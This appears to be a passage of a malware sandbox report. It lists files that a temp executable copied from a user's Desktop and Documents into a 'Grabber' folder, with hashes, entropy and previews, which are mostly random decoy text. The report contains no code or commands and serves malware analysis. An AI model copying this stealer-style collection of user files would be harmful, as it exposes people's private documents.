Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

